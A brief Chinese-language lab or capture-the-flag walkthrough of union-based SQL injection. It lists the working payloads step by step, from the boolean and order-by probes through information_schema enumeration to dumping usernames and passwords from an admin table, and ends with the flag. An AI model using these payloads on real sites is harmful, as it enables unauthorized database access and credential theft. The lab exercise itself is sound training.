1.得到站点目标
2.打开已给网站并查找注入点
3.进行测试
and 1 = 1 # 页面显示正常 and 1 = 2 # 页面显示异常
4.查询字段数
?id=1 order by 3 # 页面显示异常 ?id=1 order by 2 # 页面显示正常
5.查看返回值
?id=4 union select 1,2#
6.常见信息查询
?id=4 union select 1,database()# maoshe ?id=4 union select 1,user()# maoshe@localhost ?id=4 union select 1,version()# 5.5.53 存在information_schema数据库
7.查看数据库下的表
?id=4 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'# 关键信息 admin表
8.查看表下的列名
?id=4 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#
9.查看列下的具体数据
?id=4 union select 1,group_concat(id,username,password) from admin #
10.得到目标flag
hellohack
11.总结
（1）先测试是否存在注入点 （2）再查看返回点 （3）从数据库到表到列名最后到具体数据，一步一步